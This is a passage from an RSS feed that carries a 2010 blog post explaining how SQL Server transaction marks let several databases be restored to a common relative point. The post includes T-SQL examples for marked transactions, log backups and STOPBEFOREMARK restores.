            <comments>http://weblogs.sqlteam.com/mladenp/archive/2010/11/04/find-only-physical-network-adapters-with-wmi-win32_networkadapter-class.aspx#feedback</comments>
            <slash:comments>6</slash:comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61229.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61229.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2010/11/04/find-only-physical-network-adapters-with-wmi-win32_networkadapter-class.aspx</feedburner:origLink></item>
        <item>
            <title>SQL Server Transaction Marks: Restoring multiple databases to a common relative point</title>
            <category>SQL Server</category>
            <link>http://feedproxy.google.com/~r/mladenp/~3/9RvLIX9Wl_U/sql-server-transaction-marks-restoring-multiple-databases-to-a-common.aspx</link>
            <description>&lt;p&gt;We’re all familiar with the ability to restore a database to point in time using the RESTORE WITH STOPAT statement. &lt;/p&gt;
&lt;p&gt;But what if we have multiple databases that are accessed from one application or are modifying each other? And over multiple instances? And all databases have different workloads? And we want to restore all of the databases to some known common relative point? The catch here is that this common relative point isn’t the same point in time for all databases. This common relative point in time might be now in DB1, now-1 hour in DB2 and yesterday in DB3. And we don’t know the exact times.&lt;/p&gt;
&lt;p&gt;Let me introduce you to Transaction Marks. When we run a marked transaction using the WITH MARK option a flag is set in the transaction log and a row is added to msdb..logmarkhistory table. When restoring a transaction log backup we can restore to either before or after that marked transaction. The best thing is that we don’t even need to have one database modifying another database. All we have to do is use a marked transaction with the same name in different database.&lt;/p&gt;
&lt;p&gt;Let’s see how this works with an example. The code comments say what’s going on.&lt;/p&gt;
&lt;table border="1" cellspacing="0" cellpadding="5" width="1135"&gt;
    &lt;tbody&gt;
        &lt;tr&gt;
            &lt;td valign="top" width="531"&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;USE&lt;/span&gt; master &lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;CREATE&lt;/span&gt; &lt;span class="kwrd"&gt;DATABASE&lt;/span&gt; TestTxMark1&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;USE&lt;/span&gt; TestTxMark1&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;CREATE&lt;/span&gt; &lt;span class="kwrd"&gt;TABLE&lt;/span&gt; TestTable1&lt;br /&gt;(&lt;br /&gt;    ID &lt;span class="kwrd"&gt;INT&lt;/span&gt;,&lt;br /&gt;    &lt;span class="kwrd"&gt;VALUE&lt;/span&gt; UNIQUEIDENTIFIER&lt;br /&gt;)&lt;/pre&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;pre id="codeSnippet" class="csharpcode"&gt;&lt;span class="rem"&gt;-- insert some data into the table so we can have a starting point&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;INSERT &lt;span class="kwrd"&gt;INTO&lt;/span&gt; TestTable1&lt;br /&gt;&lt;span class="kwrd"&gt;SELECT&lt;/span&gt;  ROW_NUMBER() &lt;span class="kwrd"&gt;OVER&lt;/span&gt;(&lt;span class="kwrd"&gt;ORDER&lt;/span&gt; &lt;span class="kwrd"&gt;BY&lt;/span&gt; number) &lt;span class="kwrd"&gt;AS&lt;/span&gt; RN, &lt;span class="kwrd"&gt;NULL&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;FROM&lt;/span&gt;    master..spt_values&lt;br /&gt;&lt;span class="kwrd"&gt;ORDER&lt;/span&gt; &lt;span class="kwrd"&gt;BY&lt;/span&gt; RN&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;SELECT&lt;/span&gt;  *&lt;br /&gt;&lt;span class="kwrd"&gt;FROM&lt;/span&gt;    TestTable1&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- TAKE A FULL BACKUP of the databse&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;BACKUP&lt;/span&gt; &lt;span class="kwrd"&gt;DATABASE&lt;/span&gt; TestTxMark1 &lt;span class="kwrd"&gt;TO&lt;/span&gt; &lt;span class="kwrd"&gt;DISK&lt;/span&gt; = &lt;span class="str"&gt;'c:\TestTxMark1.bak'&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;
            &lt;/div&gt;
            &lt;/div&gt;
            &lt;/div&gt;
            &lt;/td&gt;
            &lt;td valign="top" width="602"&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;pre id="codeSnippet" class="csharpcode"&gt;&lt;span class="kwrd"&gt;USE&lt;/span&gt; master &lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;CREATE&lt;/span&gt; &lt;span class="kwrd"&gt;DATABASE&lt;/span&gt; TestTxMark2&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;USE&lt;/span&gt; TestTxMark2&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;CREATE&lt;/span&gt; &lt;span class="kwrd"&gt;TABLE&lt;/span&gt; TestTable2&lt;br /&gt;(&lt;br /&gt;    ID &lt;span class="kwrd"&gt;INT&lt;/span&gt;,&lt;br /&gt;    &lt;span class="kwrd"&gt;VALUE&lt;/span&gt; UNIQUEIDENTIFIER&lt;br /&gt;)&lt;br /&gt;&lt;span class="rem"&gt;-- insert some data into the table so we can have a starting point&lt;/span&gt;&lt;br /&gt;INSERT &lt;span class="kwrd"&gt;INTO&lt;/span&gt; TestTable2&lt;br /&gt;&lt;span class="kwrd"&gt;SELECT&lt;/span&gt;  ROW_NUMBER() &lt;span class="kwrd"&gt;OVER&lt;/span&gt;(&lt;span class="kwrd"&gt;ORDER&lt;/span&gt; &lt;span class="kwrd"&gt;BY&lt;/span&gt; number) &lt;span class="kwrd"&gt;AS&lt;/span&gt; RN, NEWID()&lt;br /&gt;&lt;span class="kwrd"&gt;FROM&lt;/span&gt;    master..spt_values&lt;br /&gt;&lt;span class="kwrd"&gt;ORDER&lt;/span&gt; &lt;span class="kwrd"&gt;BY&lt;/span&gt; RN&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;SELECT&lt;/span&gt;  *&lt;br /&gt;&lt;span class="kwrd"&gt;FROM&lt;/span&gt;    TestTable2&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- TAKE A FULL BACKUP of our databse&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;BACKUP&lt;/span&gt; &lt;span class="kwrd"&gt;DATABASE&lt;/span&gt; TestTxMark2 &lt;span class="kwrd"&gt;TO&lt;/span&gt; &lt;span class="kwrd"&gt;DISK&lt;/span&gt; = &lt;span class="str"&gt;'c:\TestTxMark2.bak'&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;
            &lt;/div&gt;
            &lt;/div&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td valign="top" width="531"&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;-- start a marked transaction that modifies both databases&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;BEGIN&lt;/span&gt; &lt;span class="kwrd"&gt;TRAN&lt;/span&gt; TxDb &lt;span class="kwrd"&gt;WITH&lt;/span&gt; MARK&lt;br /&gt;    &lt;span class="rem"&gt;-- update values from NULL to random value&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;UPDATE&lt;/span&gt; TestTable1&lt;br /&gt;    &lt;span class="kwrd"&gt;SET&lt;/span&gt; &lt;span class="kwrd"&gt;VALUE&lt;/span&gt; = NEWID();&lt;br /&gt;    &lt;span class="rem"&gt;-- update first 100 values from random value &lt;/span&gt;&lt;/pre&gt;
            &lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;    -- to NULL in different DB&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;UPDATE&lt;/span&gt; TestTxMark2.dbo.TestTable2&lt;br /&gt;    &lt;span class="kwrd"&gt;SET&lt;/span&gt; &lt;span class="kwrd"&gt;VALUE&lt;/span&gt; = &lt;span class="kwrd"&gt;NULL&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;WHERE&lt;/span&gt; ID &amp;lt;= 100;&lt;br /&gt;&lt;span class="kwrd"&gt;COMMIT&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;
            &lt;/div&gt;
            &lt;/td&gt;
            &lt;td valign="top" width="602"&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;pre id="codeSnippet" class="csharpcode"&gt; &lt;/pre&gt;
            &lt;pre class="csharpcode"&gt; &lt;/pre&gt;
            &lt;pre class="csharpcode"&gt;&lt;br /&gt;&lt;span class="rem" /&gt;&lt;/pre&gt;
            &lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;-- some time goes by here &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- with various database activity...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;
            &lt;br /&gt;
            &lt;/div&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td valign="top" width="531"&gt;
            &lt;div align="left"&gt;
            &lt;pre class="csharpcode"&gt;&lt;span class="rem"&gt;-- We see two entries for marks in each database. &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- This is just informational and has no bearing on the restore itself.&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;SELECT&lt;/span&gt; * &lt;span class="kwrd"&gt;FROM&lt;/span&gt; msdb..logmarkhistory&lt;/pre&gt;
            &lt;/div&gt;
            &lt;/td&gt;
            &lt;td valign="top" width="602"&gt;&lt;a href="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/Restoringmultipledatabasestocommonrelati_1336/image_4.png"&gt;&lt;img style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; MARGIN-LEFT: 0px; BORDER-LEFT-WIDTH: 0px; MARGIN-RIGHT: 0px" title="image" border="0" alt="image" align="left" width="590" height="62" src="http://weblogs.sqlteam.com/images/weblogs_sqlteam_com/mladenp/Windows-Live-Writer/Restoringmultipledatabasestocommonrelati_1336/image_thumb_1.png" /&gt;&lt;/a&gt; &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td valign="top" width="531"&gt;
            &lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;USE&lt;/span&gt; master&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- create a log backup to restore to mark point&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;BACKUP&lt;/span&gt; LOG TestTxMark1 &lt;span class="kwrd"&gt;TO&lt;/span&gt; &lt;span class="kwrd"&gt;DISK&lt;/span&gt; = &lt;span class="str"&gt;'c:\TestTxMark1.trn'&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- drop the database so we can restore it back&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;DROP&lt;/span&gt; &lt;span class="kwrd"&gt;DATABASE&lt;/span&gt; TestTxMark1&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;
            &lt;/td&gt;
            &lt;td valign="top" width="602"&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;pre id="codeSnippet" class="csharpcode"&gt;&lt;span class="kwrd"&gt;USE&lt;/span&gt; master&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- create a log backup to restore to mark point&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;BACKUP&lt;/span&gt; LOG TestTxMark2 &lt;span class="kwrd"&gt;TO&lt;/span&gt; &lt;span class="kwrd"&gt;DISK&lt;/span&gt; = &lt;span class="str"&gt;'c:\TestTxMark2.trn'&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- drop the database so we can restore it back&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;DROP&lt;/span&gt; &lt;span class="kwrd"&gt;DATABASE&lt;/span&gt; TestTxMark2&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;
            &lt;/div&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td valign="top" width="531"&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;pre id="codeSnippet" class="csharpcode"&gt;&lt;span class="rem"&gt;-- RESTORE THE DATABASE BACK BEFORE OUR TRANSACTION&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- restore the full backup &lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;RESTORE&lt;/span&gt; &lt;span class="kwrd"&gt;DATABASE&lt;/span&gt; TestTxMark1&lt;br /&gt;    &lt;span class="kwrd"&gt;FROM&lt;/span&gt; &lt;span class="kwrd"&gt;DISK&lt;/span&gt; = &lt;span class="str"&gt;'c:\TestTxMark1.bak'&lt;/span&gt;   &lt;br /&gt;    &lt;span class="kwrd"&gt;WITH&lt;/span&gt; NORECOVERY;&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- restore the log backup to the transaction mark&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;RESTORE&lt;/span&gt; LOG TestTxMark1 &lt;span class="kwrd"&gt;FROM&lt;/span&gt; &lt;span class="kwrd"&gt;DISK&lt;/span&gt; = &lt;span class="str"&gt;'c:\TestTxMark1.trn'&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;WITH&lt;/span&gt; RECOVERY, &lt;br /&gt;         &lt;span class="rem"&gt;-- recover to state before the transaction&lt;/span&gt;&lt;br /&gt;         STOPBEFOREMARK  = &lt;span class="str"&gt;'TxDb'&lt;/span&gt;;&lt;br /&gt;         &lt;span class="rem"&gt;-- recover to state after the transaction&lt;/span&gt;&lt;br /&gt;         &lt;span class="rem"&gt;-- STOPATMARK = 'TxDb';&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;
            &lt;/div&gt;
            &lt;/td&gt;
            &lt;td valign="top" width="602"&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;pre id="codeSnippet" class="csharpcode"&gt;&lt;span class="rem"&gt;-- RESTORE THE DATABASE BACK BEFORE OUR TRANSACTION&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- restore the full backup &lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;RESTORE&lt;/span&gt; &lt;span class="kwrd"&gt;DATABASE&lt;/span&gt; TestTxMark2&lt;br /&gt;    &lt;span class="kwrd"&gt;FROM&lt;/span&gt; &lt;span class="kwrd"&gt;DISK&lt;/span&gt; = &lt;span class="str"&gt;'c:\TestTxMark2.bak'&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;WITH&lt;/span&gt; NORECOVERY;&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- restore the log backup to the transaction mark&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;RESTORE&lt;/span&gt; LOG TestTxMark2 &lt;span class="kwrd"&gt;FROM&lt;/span&gt; &lt;span class="kwrd"&gt;DISK&lt;/span&gt; = &lt;span class="str"&gt;'c:\TestTxMark2.trn'&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;WITH&lt;/span&gt; RECOVERY, &lt;br /&gt;         &lt;span class="rem"&gt;-- recover to state before the transaction&lt;/span&gt;&lt;br /&gt;         STOPBEFOREMARK  = &lt;span class="str"&gt;'TxDb'&lt;/span&gt;;&lt;br /&gt;         &lt;span class="rem"&gt;-- recover to state after the transaction&lt;/span&gt;&lt;br /&gt;         &lt;span class="rem"&gt;-- STOPATMARK = 'TxDb';&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;GO&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;
            &lt;/div&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
            &lt;td valign="top" width="531"&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;pre id="codeSnippet" class="csharpcode"&gt;&lt;span class="kwrd"&gt;USE&lt;/span&gt; TestTxMark1&lt;br /&gt;&lt;span class="rem"&gt;-- we restored to time before the transaction &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- so we have NULL values in our table&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;SELECT&lt;/span&gt; * &lt;span class="kwrd"&gt;FROM&lt;/span&gt; TestTable1&lt;br /&gt;&lt;/pre&gt;
            &lt;/div&gt;
            &lt;/td&gt;
            &lt;td valign="top" width="602"&gt;
            &lt;div id="codeSnippetWrapper"&gt;
            &lt;pre id="codeSnippet" class="csharpcode"&gt;&lt;span class="kwrd"&gt;USE&lt;/span&gt; TestTxMark2&lt;br /&gt;&lt;span class="rem"&gt;-- we restored to time before the transaction &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;-- so we DON'T have NULL values in our table&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;SELECT&lt;/span&gt; * &lt;span class="kwrd"&gt;FROM&lt;/span&gt; TestTable2&lt;br /&gt;&lt;/pre&gt;
            &lt;/div&gt;
            &lt;/td&gt;
        &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Transaction marks can be used like a crude sync mechanism for cross database operations. With them we can mark our databases with a common “restore to” point so we know we have a valid state between all databases to restore to.&lt;/p&gt;&lt;img src="http://weblogs.sqlteam.com/mladenp/aggbug/61220.aspx" width="1" height="1" /&gt;</description>
            <dc:creator>Mladen Prajdić</dc:creator>
            <guid isPermaLink="false">http://weblogs.sqlteam.com/mladenp/archive/2010/10/20/sql-server-transaction-marks-restoring-multiple-databases-to-a-common.aspx</guid>
            <pubDate>Wed, 20 Oct 2010 06:00:00 GMT</pubDate>
            <comments>http://weblogs.sqlteam.com/mladenp/archive/2010/10/20/sql-server-transaction-marks-restoring-multiple-databases-to-a-common.aspx#feedback</comments>
            <slash:comments>1</slash:comments>
            <wfw:commentRss>http://weblogs.sqlteam.com/mladenp/comments/commentRss/61220.aspx</wfw:commentRss>
            <trackback:ping>http://weblogs.sqlteam.com/mladenp/services/trackbacks/61220.aspx</trackback:ping>
        <feedburner:origLink>http://weblogs.sqlteam.com/mladenp/archive/2010/10/20/sql-server-transaction-marks-restoring-multiple-databases-to-a-common.aspx</feedburner:origLink></item>
    </channel>
</rss>
